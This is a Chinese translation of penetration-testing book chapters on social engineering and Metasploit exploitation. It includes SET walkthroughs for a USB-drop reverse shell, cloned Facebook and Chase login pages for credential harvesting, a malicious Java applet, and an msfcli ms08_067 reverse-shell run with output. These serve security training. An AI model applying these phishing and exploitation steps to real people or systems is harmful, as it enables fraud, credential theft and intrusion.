在下一章中,我们将讨论欺骗的艺术,并解释利用人类的各种弱点以获取目标的各种方法。虽然这个过程有时是可选的,但在缺乏信息可用以允许我们利用目标基础设施时,它被认为是至关重要的。

问题

  1. 漏洞和利用之间有什么关系?

  2. 哪类漏洞被认为是最难解决的?

  3. 哪个网站可以用来获取最新漏洞的信息?

  4. 远程漏洞的定义是什么?

  5. 哪个工具可以执行内部和外部 PCI DSS 扫描?

  6. 哪个工具是专门用于审核 Linux 系统的?

  7. 哪个工具集成到 Sparta 中用于进行网站扫描?

进一步阅读

第七章:社会工程

社会工程是通过利用人类的弱点来学习和获取有价值信息的实践。这是一种被认为在缺乏可以利用的目标信息时对渗透测试人员至关重要的欺骗艺术。由于人是任何组织安全防御中最薄弱的一环,社会工程是安全基础设施中最脆弱的层。我们是社会性动物,因此我们的天性使我们容易受到社会工程攻击的影响。社会工程师利用这些攻击来获取机密信息或进入受限区域。社会工程采用不同形式的攻击向量;每种攻击受个人想象力的限制,基于其执行的影响和方向。本章将讨论专业社会工程师采用的核心原则和实践,以操纵人类透露信息或执行行为。

在本章中,我们将涵盖以下主题:

  • 制定社会工程师目标和愿景的基本心理原则

  • 社会工程的一般攻击过程和方法,以及实际例子

从安全的角度来看,社会工程是一种用于操纵人们以达到预期目标的强大武器。在许多组织中,这种做法可以被评估,以确保员工的安全完整性,并调查流程和人为弱点。需要注意的是,社会工程的实践是非常普遍的,并且被一系列个人采用,包括渗透测试人员、骗子、身份盗窃者、商业伙伴、招聘人员、销售人员、信息经纪人、电话销售员、政府间谍、不满的员工,甚至是儿童。这些不同的个体之间的区别因素是社会工程师执行他们的策略对目标的动机。

技术要求

你需要在你的系统上安装最新版本的 Kali Linux 来完成本章。

建模人类心理学

人类的心理能力取决于提供输入的感官。这些感官被用来形成对现实的感知。这一自然现象将人类感官归类为视觉、听觉、味觉、触觉、嗅觉、平衡和加速、温度、动觉、疼痛和方向。利用这些感官有效地发展和维护我们对世界的感知方法。

从社会工程的角度来看,通过主要感官(视觉或听觉)、眼动(眼神接触、语言矛盾、眨眼率或眼神提示)、面部表情(惊讶、快乐、恐惧、悲伤、愤怒或厌恶)和其他观察或感知到的抽象实体,从目标中检索或提取的任何信息都可能增加成功的可能性。通常,社会工程师需要直接与目标进行沟通,以获取机密信息或进入受限区域。这种沟通可以通过身体方式进行,也可以利用电子辅助技术进行。

在现实世界中,有两种常见的策略用于完成这项任务:采访和审讯。然而,在实践中,每种策略都包括其他因素,如环境、对目标的了解以及控制沟通框架的能力。这些综合因素(沟通、环境、知识和框架控制)构成了一个有效的社会工程师进行社会工程攻击的基本技能集。整个社会工程活动依赖于信任关系。如果你无法与目标建立强大的信任关系,你很可能会在努力中失败。

现代社会工程几乎已经成为一门科学。请务必访问社会工程框架创建者的网站www.social-engineer.org/。运行该网站并在社会工程主题上发表材料的 Christopher Hadnagy 已经非常出色地使这些信息对公众可用,以便我们可以尝试培训我们的用户和客户,让他们了解这些攻击是如何发生的。

攻击过程

我们提出了一些必要的基本步骤,以发起对目标的社会工程攻击。这不是唯一的方法,甚至也不是最有可能成功的方法,但它应该让您了解社会工程的含义。情报收集、识别脆弱点、计划攻击和执行是社会工程师成功揭露和获取目标信息或访问所采取的常见步骤。

  • 情报收集:有许多技术可以确定最具吸引力的目标进行渗透测试。这可以通过使用高级搜索引擎工具在网络上收集公司电子邮件地址;通过在线社交网络收集有关目标组织工作人员的个人信息;识别目标组织使用的第三方软件包;参与公司商务活动和聚会,并参加会议,这应该提供足够的情报来选择最准确的内部人员进行社会工程目的。

  • 识别脆弱点:一旦选择了一个关键内部人员,就可以继续建立信任关系并表现友好。这将确保试图劫持任何机密公司信息不会伤害或警觉目标。在整个过程中保持高度的隐蔽和掩盖是重要的。或者,我们也可以调查目标组织是否在使用旧版本的软件,这可以通过电子邮件或网络传送恶意内容来利用,进而感染受信任方的计算机。

  • 计划攻击:您可以选择直接攻击目标,也可以通过被动使用电子辅助方法。根据确定的脆弱入口点,我们可以轻松确定攻击的路径和方法。例如,我们发现了一个友好的客户服务代表 Bob,他会在没有经过高级管理事先授权的情况下不知不觉地执行任何恶意文件。

  • 执行:在最后一步,我们计划的攻击应该以信心和耐心执行,以监视和评估目标利用的结果。在这一点上,社会工程师应该持有足够的信息或访问目标的财产,这将使他们能够进一步渗透公司资产。成功执行后,利用和获取过程完成。

攻击方法

有六种方法可能有助于理解、识别、社交和准备目标进行最终操作。这些方法已经根据它们在社会工程领域的独特表现进行了分类和描述。我们还包括了一些例子,以呈现一个真实世界的场景,在这种情况下,您可以应用所选方法中的每一种。请记住,心理因素构成了这些攻击方法的基础;为了使这些方法更有效,社会工程师应该经常进行训练和实践。

冒充

攻击者会假装成别人以获得信任。例如,为了获取目标的银行信息,钓鱼将是一个完美的解决方案,除非目标没有电子邮件账户。因此,攻击者首先从目标那里收集或收割电子邮件地址,然后准备一个看起来和原始银行网页界面完全一样的欺诈页面。

完成所有必要的任务后,攻击者会准备并发送一封正式的电子邮件(例如,帐户详细信息),看起来像是原始银行网站的,要求目标访问一个链接以提供最新的银行信息给攻击者。通过掌握网络技术的技能并使用一套先进的工具(例如,SSLstrip),社会工程师可以轻松地以有效的方式自动化这个任务。关于人为辅助的欺诈,我们可以通过亲自出现并冒充目标的银行家身份来实现这一点。

互惠

以互惠的方式交换利益以获得共同的好处被称为互惠。这种社会工程参与可能涉及一种随意和长期的商业关系。通过利用商业实体之间的信任,某人可以轻松地映射他们的目标以获取任何必要的信息。例如,鲍勃是一名专业黑客,想了解 ABC 公司在办公楼的物理安全政策。经过仔细考虑,他决定开发一个网站,吸引了两名员工的浓厚兴趣,以廉价的价格出售古董。

我们假设鲍勃已经通过社交网络、互联网论坛等途径了解了他们的个人信息,包括电子邮件地址。在这两名员工中,爱丽丝开始定期购买东西,并成为鲍勃的主要目标。鲍勃现在可以提供一件特别的古董作为交换,以换取他所需要的信息。利用人类的心理因素,他给爱丽丝写了一封电子邮件,要求她获取 ABC 公司的物理安全政策详细信息,作为她获得独特古董的回报。她在没有注意到商业责任的情况下向鲍勃透露了这些信息。这证明了在创造一个虚假的情况的同时,通过交换价值来加强关系,对社会工程是有利的。

有影响力的权威

一种攻击方法,其中一个人操纵目标的业务责任被称为有影响力的权威攻击。这种社会工程攻击有时是伪装方法的一部分。人类天生会自动地接受来自权威或高级管理层的指示,即使他们的直觉表明某些指示不应该被执行。这使我们容易受到某些威胁。例如,如果有人想要针对 XYZ 公司的网络管理员获取他们的认证信息,他们会通过一种互惠的方法观察并记录管理员和公司 CEO 的电话号码。现在,使用一个伪装电话服务(例如,www.spoofcard.com)打电话给网络管理员,他们会注意到电话是来自 CEO 并且应该优先处理。这种方法影响目标向伪装的权威透露信息;因此,目标必须遵守公司高级管理层的指示。

稀缺

抓住最好的机会,尤其是如果它看起来很稀缺,是我们最贪婪的本能之一。这种方法描述了一种为个人利益提供机会的方式。著名的尼日利亚 419 骗局www.419eater.com)就是人类贪婪的典型例子。让我们举个例子,Bob 想从 XYZ 大学学生那里收集个人信息。我们假设他已经拥有所有学生的电子邮件地址。然后,他制定了一封电子邮件,向所有 XYZ 大学学生提供 iPod 折扣券,学生们可能会回复他们的个人信息(姓名,地址,电话,电子邮件,出生日期,护照号码等)。

由于机会被精心调整以针对学生,让他们相信他们可以免费获得最新的 iPod,其中许多人可能会上当受骗。在企业世界中,这种攻击方法可以扩大以最大化商业利益并实现业务目标。

社交关系

我们需要某种社交关系来分享我们的想法,感受和想法。任何社交连接中最脆弱的部分是性。在许多情况下,男人和女人会互相吸引。由于这种强烈的感觉和虚假的信任感,我们可能会无意中透露信息。有几个在线社交门户网站,人们可以在那里相遇和聊天。这些包括 Facebook,MySpace,Twitter 和 Orkut。例如,Bob 被 XYZ 公司聘用,以获取 ABC 公司的财务和营销战略,以实现可持续的竞争优势。他查看了许多员工,找到了一个名叫 Alice 的女孩,她负责所有的业务运营。假装是一名普通的商学院毕业生,他试图与她建立关系(例如,通过 Facebook)。Bob 故意制造一些情况,让他能够遇到 Alice,比如社交聚会,包括周年纪念日,舞厅和音乐节。一旦他获得了一定程度的信任,他就可以安排定期与 Alice 见面。这种做法使他能够提取 ABC 公司财务和营销观点的有用见解。记住,你建立的关系越有效和可信赖,你就越能社会工程你的目标。有一些工具会让这项任务对你更容易,例如 SET,我们将在下一节中描述。

好奇心

有一句古话:好奇心害死猫。这是对人类的告诫,有时我们自己的好奇心会占上风。在工作中,好奇心起着很大的作用。我们想知道 CEO 的薪水有多少,谁会得到晋升,谁会被解雇。因此,社会工程师利用这种自然好奇心来对付我们。我们可能会被诱使点击一封电子邮件中的链接,其中提供了一些名人八卦的预告。我们也可能会被诱使打开一个实际上是恶意软件的文档,从而危害我们的系统。渗透测试人员可以通过多种不同的攻击利用这种好奇心。

社会工程工具包

社会工程工具包(SET)是由 TrustedSec 的创始人创建的一款先进、多功能且易于使用的计算机辅助社会工程工具包(www.trustedsec.com/)。它帮助您准备利用客户端应用程序漏洞的最有效方法,并尝试捕获目标的机密信息(例如电子邮件密码)。SET 使用的一些最有效和有用的攻击方法包括带有恶意文件附件的有针对性的钓鱼电子邮件、Java 小程序攻击、基于浏览器的利用、收集网站凭据、创建具有传染性的便携式媒体(USB/DVD/CD)、大规模邮件发送攻击以及其他类似的多攻击网络向量。这些攻击方法的组合为您提供了一个强大的平台,可以利用并选择最具说服力的技术,从而对人类元素进行高级攻击。

要启动 SET,请导航到应用程序 | 渗透工具 | 社会工程工具包。您还可以使用终端加载SET

    root@kali:~# setoolkit

这将执行 SET 并显示以下选项:

在我们的测试练习中,我们将利用目标的好奇心在目标系统上打开一个反向 shell。为了实现这一点,我们将使用SET来制作一个可执行文件,并将其放在一个 USB 设备上。然后,我们将把这个 USB 设备留在组织的某个地方,看看是否有人拿起并插入它。

不要使用 Kali Linux 中软件包的更新功能。相反,经常更新 Kali,以便将最近支持的更新应用到您的应用程序中。

匿名 USB 攻击

在此攻击期间,我们将制作一个可执行文件,该文件将在目标计算机和我们的测试计算机之间建立一个反向连接。为了传递这个可执行文件,我们将把它放在一个名字能引起目标好奇心的 USB 设备上。一旦配置好 USB,将其留在目标组织的公共区域应该能产生我们需要的结果。

有关更多信息,请访问www.social-engineer.org/framework/general-discussion/.

执行我们的 USB 攻击的步骤如下:

  1. 从主选项列表中,我们选择1) 社会工程攻击

  1. 为了制作我们将要使用的可执行文件,选择3) Infectious Media Generator

  1. Infectious Media Generator 将提示要使用的利用类型。对于我们的目的,我们将使用 Metasploit 可执行文件。选择2) Standard Metasploit Executable

  1. 有许多不同的有效载荷可供使用。例如,在企业环境中,Windows Meterpreter Reverse HTTPS 有效载荷将非常有用,因为组织通常会允许对公共互联网进行全面的 HTTPS 连接。对于我们的目的,我们将使用简单的反向 TCP 连接。输入反向 TCP Shell 的有效载荷,在这种情况下是2) Windows reverse TCP Meterpreter

  1. 我们需要设置有效载荷监听器,这种情况下是我们测试机器的 IP 地址(172.16.122.185)。在某些情况下,您可以有一个带有 Kali Linux 的中央服务器,并使用多个 USB 进行此攻击,所有 USB 都返回到有效载荷监听器地址。将反向监听器端口设置为4444,然后按Enter。您将被提示创建一个监听器。如果您正在测试,请输入yes,这将启动 Meterpreter 监听器:

  1. 导航到/root/.set,您将看到列出的可执行文件:

  1. 只需将payload.exe文件复制到桌面,然后您可以将其加载到 USB 设备上。另一个技巧是将可执行文件的名称更改为可以利用目标好奇心的名称,例如执行奖金。如果 USB 端口上的自动运行功能已被禁用,这将非常有用。现在您已经加载了 USB,将其放在目标企业的公共区域甚至停车场。

  2. 我们毫无戒心的受害者拿起了 USB 设备并将其插入。此时,可执行文件运行,我们看到 Meterpreter shell 在我们的测试机器上打开:

只有在符合您的参与规则并且您的客户了解您将要做什么的情况下才使用此攻击。此攻击还需要访问物理位置。还有一些变种,您可以通过电子邮件或其他消息服务发送有效负载文件。

SET 由其创建者不断更新,因此随时可能会发生重大变化。我们只是初步了解了这个工具的功能。强烈建议您继续学习这个强大的社会工程工具包,方法是访问www.trustedsec.com/downloads/social-engineer-toolkit/;首先观看该网站上呈现的视频。

凭证收集

在这次攻击中,我们将建立一个已知网站的假网站。然而,我们的副本将允许我们捕获用户使用的凭据。要让用户访问我们的网站,您需要通过电子邮件传递它,并在标题或主题行中引起用户的兴趣来访问它。他们将被提示登录,就这样,凭据将被捕获:

  1. 输入setoolkit,然后在主菜单中,选择选项1进入社会工程菜单。

  2. 在提示处输入2选择网站攻击向量

  1. 输入3选择凭证收集器

在这一点上,您已经成功加载了凭证收集器模块。在此模块中,我们有3个选项:我们可以使用Web 模板网站克隆器自定义导入。对于我们的情况,我们选择2) 网站克隆器选项:

我们需要提供的第一个参数是将托管网站的 IP 地址,这是您当前所在主机的地址。您可以通过在另一个终端中输入ifconfig来确认您的 IP,但是模块应该会自动填充它在提示中:

目前,我的 IP 是172.20.1.85。您的 IP 地址将不同。一旦您输入了它,下一步是输入您想克隆的网站。在这里,我输入了www.facebook.com

克隆网站需要一些时间,但一旦完成,您将收到一条消息,询问您是否了解 Web 服务器的目录结构。在 Kali 上,默认结构是/var/www/。按Enter,Web 服务器将启动。

我在KALI的浏览器上进行了测试,以确认它的工作原理,方法是访问127.0.0.1和我的网络 IP,172.20.1.85,并确认它已加载,如下所示:

从屏幕截图中可以看出,SET报告了我进行的两次测试,以确认网站是可访问的。

在这一点上,我们已经成功建立了我们的参与平台,从这里我们将生成一个带有指向我们系统的链接的假电子邮件,并将其发送给我们的目标。之前进行的侦察的结果将是您的主要来源,您需要知道电子邮件看起来像是谁发送的,谁应该接收它,电子邮件的措辞需要以与他们写作的方式相似的方式进行,包括签名。

许多经理通过手机回复电子邮件,通常手机签名与他们的笔记本电脑签名有很大不同。例如,经理的典型签名可能包含他的全名 John Winter,而在手机上回复时可能使用--J。这是您应该注意的事项。

与通过电子邮件针对少数用户不同,我们可以针对我们所在网络上的所有用户。这将涉及一些额外的步骤和一些额外的工具。我们将在第十一章中返回这一点,无线渗透测试

恶意的 Java 小程序

在这次攻击中,我们将使用与凭证收集攻击类似的设置,这次将自定义 Java 小程序嵌入页面,提示用户执行权限。一旦用户接受提示,负载就会执行并连接到我们的机器,从而实现远程访问:

  1. 再次启动社会工程师工具包,输入1选择社会工程菜单,然后输入2选择网站攻击向量

  2. 从菜单中,输入1选择Java 小程序攻击方法

  1. 加载后,我们将使用上一个示例中的站点克隆选项:

  1. 您将被问及是否使用端口转发或启用了 NAT。在这个例子中,我会输入no,因为这是在内部环境中设置的。

  2. 设置监听器 IP 地址。默认情况下,SET将检测您的 IP 并自动为您填充。只需按Enter

  3. 您将被提示使用三种选项之一设置 Java 小程序本身。对于这个例子,我们将使用 SET 自带的内置选项。如果您知道如何在 Java 中编码,请随意使用选项three输入您自己的自定义代码:

  1. SET将继续生成小程序。您将被提示输入要克隆的目标站点。您将要选择一个站点,受害者对我们的请求运行 Java 小程序会更少犹豫。在这种情况下,我选择了www.chase.com。克隆后,SET还将自动注入 Java 小程序:

  1. 将负载注入小程序。对于这个例子,我们将使用选项three

  1. 最后一个要设置的选项是监听端口,我把它留在默认状态443

设置现在已经完成。与凭证窃取器类似,我们可以通过电子邮件将链接转发给我们的受害者,确保电子邮件中的措辞不会引起受害者的怀疑,而是让他们认为他们需要点击链接。

摘要

在本章中,我们讨论了社会工程在生活的各个方面的常见用途。渗透测试人员可能会遇到需要应用社会工程策略从目标那里获取敏感信息的情况。人类天性易受特定欺骗技术的影响。为了更好地了解社会工程技能,我们提出了一套基本的元素(沟通、环境、知识和框架控制),构建了一个人类心理模型。这些心理原则反过来帮助社会工程师根据正在审查的目标调整和提取攻击过程(情报收集、识别脆弱点、计划攻击和执行)和方法(冒充、回报、有影响力的权威、稀缺性和社会关系)。然后,我们解释了使用 SET 来加强和自动化对互联网上的社会工程攻击。

在下一章中,我们将讨论使用多种工具和技术来利用目标的过程,显著地进行漏洞研究,并巧妙地获取您的目标。

第八章:目标利用

目标利用是一个让渗透测试与漏洞评估区分开的领域。现在漏洞已经被发现,你将通过利用系统来验证并利用这些漏洞,希望获得对目标网络和其中系统的完全控制或额外信息和可见性。本章将重点介绍和讨论用于进行真实世界利用的实践和工具。

在本章中,我们将涵盖以下主题:

  • 漏洞研究部分,我们将解释漏洞研究的哪些领域是至关重要的,以便在将其转化为实际利用代码之前了解、检查和测试漏洞。

  • 我们将指引你到几个利用库,这些库应该让你了解公开可用的利用和何时使用它们。

  • 我们将从目标评估的角度说明如何使用臭名昭著的利用工具包。这将让你清楚地了解如何利用目标以获取敏感信息。高级利用工具包部分包括一些实际操作的练习。

  • 最后,我们将尝试简要描述为 Metasploit 编写一个简单利用模块的步骤。

从头开始编写利用代码可能是一项耗时且昂贵的任务。因此,使用公开可用的利用并调整它们以适应你的目标环境可能需要专业知识,这将帮助你将一个利用的骨架转化为另一个,如果相似性和目的几乎相同的话。我们强烈鼓励在你自己的实验室中练习使用公开可用的利用,以进一步了解并开始编写你自己的利用代码。

漏洞研究

理解特定软件或硬件产品的能力可能为调查该产品可能存在的漏洞提供一个起点。进行漏洞研究并不容易,也不是一键式的任务。因此,它需要一个强大的知识基础和不同的因素来进行安全分析:

  • 编程技能:这是道德黑客的基本因素。学习任何编程语言中存在的基本概念和结构应该能让测试人员在发现漏洞时获得优势。除了对编程语言的基本了解外,你必须准备好处理处理器、系统内存、缓冲区、指针、数据类型、寄存器和缓存的高级概念。这些概念可以在几乎任何编程语言中实现,比如 C/C++、Python、Perl 和汇编语言。

要了解从发现的漏洞编写利用代码的基础知识,请访问www.phreedom.org/presentations/exploit-code-development/exploit-code-development.pdf

  • 逆向工程:这是发现电子设备、软件或系统可能存在的漏洞的另一个广泛领域,通过分析其功能、结构和操作来实现。其目的是在没有任何关于其内部工作的先前知识的情况下从给定系统中推导出代码;检查其错误条件、设计不良的功能和协议;以及测试边界条件。有几个原因可以使用逆向工程技能,比如从软件中去除版权保护、安全审计、竞争技术情报、识别专利侵权、互操作性、理解产品工作流程和获取敏感数据。逆向工程为审查应用程序的代码增加了两个概念层次:源代码审计和二进制审计。如果你可以访问应用程序的源代码,你可以通过自动化工具完成安全分析;或者手动研究源代码以提取漏洞可能被触发的条件。另一方面,二进制审计简化了没有任何源代码的应用程序的逆向工程任务。反汇编器和反编译器是两种可能协助审计员进行二进制分析的通用工具类型。反汇编器从编译的二进制程序生成汇编代码,而反编译器从编译的二进制程序生成高级语言代码。然而,使用这些工具中的任何一个都是非常具有挑战性的,并需要仔细评估。

  • 仪器化工具:仪器化工具,如调试器、数据提取器、模糊测试器、性能分析器、代码覆盖率、流分析器和内存监视器,在发现漏洞的过程中发挥着重要作用,并为测试目的提供一致的环境。解释每个工具类别超出了本书的范围。然而,你可能会发现几个有用的工具已经存在于 Kali Linux 中。为了跟踪最新的逆向代码工程工具,我们强烈建议你访问在线图书馆www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools

  • 利用性和有效载荷构造:这是为应用程序的一个易受攻击的元素编写概念验证PoC)代码的最后一步,这可以允许渗透测试人员在目标机器上执行自定义命令。我们将从逆向工程阶段对易受攻击的应用程序的知识应用到用编码机制打磨 shellcode,以避免可能导致利用过程终止的不良字符。

根据发现的漏洞的类型和分类,遵循特定的策略非常重要,这可能允许你在目标系统上执行任意代码或命令。作为一名专业的渗透测试人员,你将始终寻找可能导致获取对目标操作系统的 shell 访问的漏洞。因此,我们将在本章的后面部分演示一些使用 Metasploit 框架的场景,展示这些工具和技术。

漏洞和利用库

多年来,已经在公共领域报告了许多漏洞。其中一些是披露了 PoC 利用代码,以证明特定软件或应用中发现的漏洞的可行性和可行性。许多仍然未得到解决。在这个竞争激烈的时代,寻找公开可用的利用和漏洞信息使渗透测试人员能够快速搜索和检索最佳的利用,以适应其目标系统环境。您还可以将一种类型的利用移植到另一种类型(例如,从 Win32 架构到 Linux 架构),前提是您具有中级编程技能和对特定操作系统架构的清晰理解。我们提供了一组在线存储库,可以帮助您通过搜索来跟踪任何漏洞信息或其利用。

并非所有发现的漏洞都已在互联网上向公众披露。有些是报告的,但没有任何 PoC 利用代码,有些甚至没有提供详细的漏洞信息。因此,咨询多个在线资源是许多安全审计人员的常见做法。

以下是在线存储库的列表:

存储库名称 网站网址
Bugtraq SecurityFocus www.securityfocus.com
OSVDB Packet Storm 漏洞 blog.osvdb.org/
Packet Storm www.packetstormsecurity.org
国家漏洞数据库 nvd.nist.gov
IBM ISS X-Force exchange.xforce.ibmcloud.com/
美国计算机紧急响应小组漏洞注释 www.kb.cert.org/vuls
美国计算机紧急响应小组警报 www.us-cert.gov/cas/techalerts/
SecuriTeam www.securiteam.com
Secunia 公告 secunia.com/advisories/historic/
CXSecurity.com cxsecurity.com
XSSed XSS-漏洞 www.xssed.com
安全漏洞数据库 securityvulns.com
SEBUG www.sebug.net
MediaService Lab techblog.mediaservice.net
智能利用聚合网络 www.intelligentexploit.com

虽然还有许多其他互联网资源可用,但我们只列出了一些经过审查的资源。 Kali Linux 集成了 Offensive Security 的 Exploit 数据库。这提供了额外的优势,可以在系统上保持所有存档的利用以供将来参考和使用。要访问 Exploit-DB,请在 shell 上执行以下命令:

 # cd /usr/share/exploitdb/
    # vim files.csv 

这将在/usr/share/exploitdb/platforms/目录下打开当前可用的 Exploit-DB 的完整利用列表。这些利用根据系统类型(Windows、Linux、HP-UX、Novell、Solaris、BSD、IRIX、TRU64、ASP、PHP 等)分类在其相关的子目录中。大多数这些利用是使用 C、Perl、Python、Ruby、PHP 和其他编程技术开发的。 Kali Linux 已经配备了一些支持执行这些利用的编译器和解释器。

我们如何从利用列表中提取特定信息?

利用 Bash 命令的威力,您可以操纵任何文本文件的输出,以检索有意义的数据。您可以使用 Searchsploit,或者在控制台上键入cat files.csv |cut -d"," -f3来实现。它将从files.csv文件中提取利用标题的列表。要了解基本的 shell 命令,请参阅tldp.org/LDP/abs/html/index.html

先进的利用工具包

Kali Linux 预装了一些最好和最先进的利用工具包。Metasploit 框架(www.metasploit.com)就是其中之一。在这里,我们详细解释了它,并提出了一些场景,这些场景将增加其生产力,并增强您对渗透测试的体验。该框架是用 Ruby 编程语言开发的,并支持模块化,使得渗透测试人员更容易扩展或开发自定义插件和工具。框架的架构分为三个广泛的类别:库、接口和模块。我们的重点是关注各种接口和模块的功能。接口(控制台、CLI、Web 和 GUI)基本上提供了前端操作活动,处理任何类型的模块(利用、有效载荷、辅助工具、编码器和 NOP)时。以下每个模块都有其自己的含义,并且对于渗透测试过程具有特定功能:

  • 利用:这个模块是为了利用目标系统中的特定漏洞而开发的 PoC 代码

  • 有效载荷:这个模块是恶意代码,作为利用的一部分或独立编译,用于在目标系统上运行任意命令

  • 辅助工具:这些模块是一组用于执行扫描、嗅探、拨号、指纹识别和其他安全评估任务的工具

  • 编码器:这些模块用于在渗透操作期间对有效载荷进行编码,以规避杀毒软件、防火墙、IDS/IPS 和其他类似恶意软件防御的检测

  • 无操作或无操作执行(NOP):这个模块是汇编语言指令,通常添加到 shellcode 中,什么也不做,只是为了覆盖一致的有效载荷空间

为了让您了解,我们将解释两个众所周知的 Metasploit 接口的基本用法及其相关的命令行选项。每个接口都有其自己的优势和劣势。但是,我们强烈建议您坚持使用控制台版本,因为它支持大部分框架功能。

MSFConsole

MSFConsole 是渗透测试人员最有效、强大和一体化的前端界面之一,用于充分利用利用框架。要访问msfconsole,请转到应用程序 | 利用工具 | Metasploit,或使用终端执行以下命令:

 # msfconsole 

您将进入一个交互式控制台界面。要了解所有可用命令,您可以输入以下命令:

 msf> help 

这将显示两组命令;一组将广泛用于整个框架,另一组将特定于存储评估参数和结果的数据库后端。关于其他使用选项的说明可以通过在核心命令后使用-h来获取。让我们来看看show命令的用法:

 msf> show -h
    [*] Valid parameters for the "show" command are: all, encoders, 
nops, exploits, payloads, auxiliary, plugins, options
    [*] Additional module-specific parameters are: advanced, evasion, 
targets, actions 

此命令通常用于显示给定类型的可用模块,或所有模块。最常用的命令可能是以下之一:

  • show auxiliary:此命令将显示所有辅助模块。

  • show exploits:此命令将获取框架内所有利用的列表。

  • show payloads:此命令将检索所有平台的有效载荷列表。但是,在所选利用的上下文中使用相同的命令将仅显示兼容的有效载荷。例如,Windows 有效载荷只会与兼容 Windows 的利用一起显示。

  • show encoders:此命令将打印可用编码器的列表。

  • shownops:此命令将显示所有可用的 NOP 生成器。

  • show options:此命令将显示特定模块的设置和选项。

  • 显示目标:此命令将帮助我们提取特定利用模块支持的目标操作系统列表。

  • show advanced:此命令将为您提供更多选项来微调您的利用执行。

我们已经编制了以下表中最有价值的命令的简短列表;您可以使用 Metasploit 控制台练习每一个。命令旁边的斜体术语将需要您提供:

命令 描述
check 验证特定利用针对您的易受攻击目标而不利用它。这个命令不被许多利用支持。
connectip port 类似于 Netcat 和 Telnet 工具。
exploit 启动所选的利用。
run 启动所选的辅助。
jobs 列出当前正在运行的所有后台模块,并提供终止它们的能力。
route add subnet netmasksessionid 为通过受损会话进行网络枢纽目的的流量添加路由。
info module 显示有关特定模块(利用、辅助等)的详细信息。
setparam value 配置当前模块内的参数值。
setgparam value 在框架中全局设置参数值,以供所有利用和辅助模块使用。
unsetparam 它是set命令的反向。您也可以使用unset all命令一次重置所有变量。
unsetgparam 取消设置一个或多个全局变量。
sessions 能够显示、交互和终止目标会话。使用-l进行列出,使用-i ID 进行交互,使用-k ID 进行终止。
search string 通过模块名称和描述提供搜索功能。
use module 在渗透测试环境中选择特定模块。

我们将在接下来的部分演示一些这些命令的实际用法。重要的是要理解它们在框架内不同模块集的基本用法。

MSFCLI

与 MSFConsole 界面一样,CLI 提供了各种模块的广泛覆盖,可以在任何一个实例中启动。但是,它缺少 MSFConsole 的一些高级自动化功能。

要访问msfcli,请使用终端执行以下命令:

 # msfcli -x 

这将显示所有可用模式,类似于 MSFConsole,并提供选择特定模块和设置其参数的用法说明。请注意,所有变量或参数都应遵循param=value的约定,并且所有选项都区分大小写。我们提供了一个小练习来选择和执行特定的利用:

 # msfcli windows/smb/ms08_067_netapi O
    [*] Please wait while we load the module tree...

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       RHOST                     yes       The target address
       RPORT    445              yes       Set the SMB service port
    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, 
SRVSVC) 

在前面命令的末尾使用O指令框架显示所选利用的可用选项。以下命令使用RHOST参数设置目标 IP:

 # msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P
    [*] Please wait while we load the module tree...

    Compatible payloads
    ===================

       Name                             Description
       ----                             -----------
    generic/debug_trap               Generate a debug trap in the target process
    generic/shell_bind_tcp           Listen for a connection and spawn a command shell
    ... 

最后,在使用RHOST参数设置目标 IP 之后,是时候选择兼容的有效载荷并执行我们的利用了:

 # msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E
    [*] Please wait while we load the module tree...
    [*] Started reverse handler on 192.168.0.3:4444
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Attempting to trigger the vulnerability...
    [*] Sending stage (240 bytes) to 192.168.0.7
    [*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:WINDOWSsystem32> 

正如你所看到的,我们在为所选有效载荷设置LHOST参数后,已经获得了对目标机器的本地 shell 访问。

忍者 101 训练

本节提供的示例将阐明您对利用框架进行各种方式的理解。不可能涵盖每一个方面,或者使用 Metasploit 框架,但我们已经仔细研究并提取了最重要的功能供您练习。要深入了解 Metasploit 框架,我们强烈建议您阅读在线教程Metasploit Unleashed,网址为www.offensive-security.com/metasploit-unleashed/。该教程包含了来自渗透测试角度的高级材料,包括有关利用开发、漏洞研究和评估技术的见解。

场景 1

在这个练习中,我们将演示如何利用 Metasploit 框架进行端口扫描、操作系统指纹识别和服务识别,使用集成的 Nmap 工具。在 MSFConsole 上,执行以下命令:

 msf> load db_tracker
    [*] Successfully loaded plugin: db_tracker 

如果遇到数据库连接错误,可以使用以下两个命令:

Systemclt start postgresql

Msfdb inint

数据库跟踪器将保存会话获取的数据以供进一步使用。要开始 Nmap 扫描,请输入以下内容:

    msf>db_nmap -T Aggressive -sV -n -O -v 192.168.0.7 Starting Nmap 5.00 ( http://nmap.org ) at 2010-11-11 22:34 UTC NSE: Loaded 3 scripts for scanning. Initiating ARP Ping Scan at 22:34 Scanning 192.168.0.7 [1 port] Completed ARP Ping Scan at 22:34, 0.00s elapsed (1 total hosts) Initiating SYN Stealth Scan at 22:34 Scanning 192.168.0.7 [1000 ports] Discovered open port 445/tcp on 192.168.0.7 Discovered open port 135/tcp on 192.168.0.7 Discovered open port 25/tcp on 192.168.0.7 Discovered open port 139/tcp on 192.168.0.7 Discovered open port 3389/tcp on 192.168.0.7 Discovered open port 80/tcp on 192.168.0.7 Discovered open port 443/tcp on 192.168.0.7 Discovered open port 21/tcp on 192.168.0.7 Discovered open port 1025/tcp on 192.168.0.7 Discovered open port 1433/tcp on 192.168.0.7 Completed SYN Stealth Scan at 22:34, 3.04s elapsed (1000 total ports) Initiating Service scan at 22:34
    Scanning 10 services on 192.168.0.7
    Completed Service scan at 22:35, 15.15s elapsed (10 services on 1 host)
    Initiating OS detection (try #1) against 192.168.0.7
    ...
    PORT     STATE SERVICE       VERSION
    21/tcpopen  ftp           Microsoft ftpd
    25/tcpopen  smtp          Microsoft ESMTP 6.0.2600.2180
    80/tcpopen  http          Microsoft IIS httpd 5.1
    135/tcp  openmsrpc         Microsoft Windows RPC
    139/tcp  opennetbios-ssn
    443/tcp  open  https?
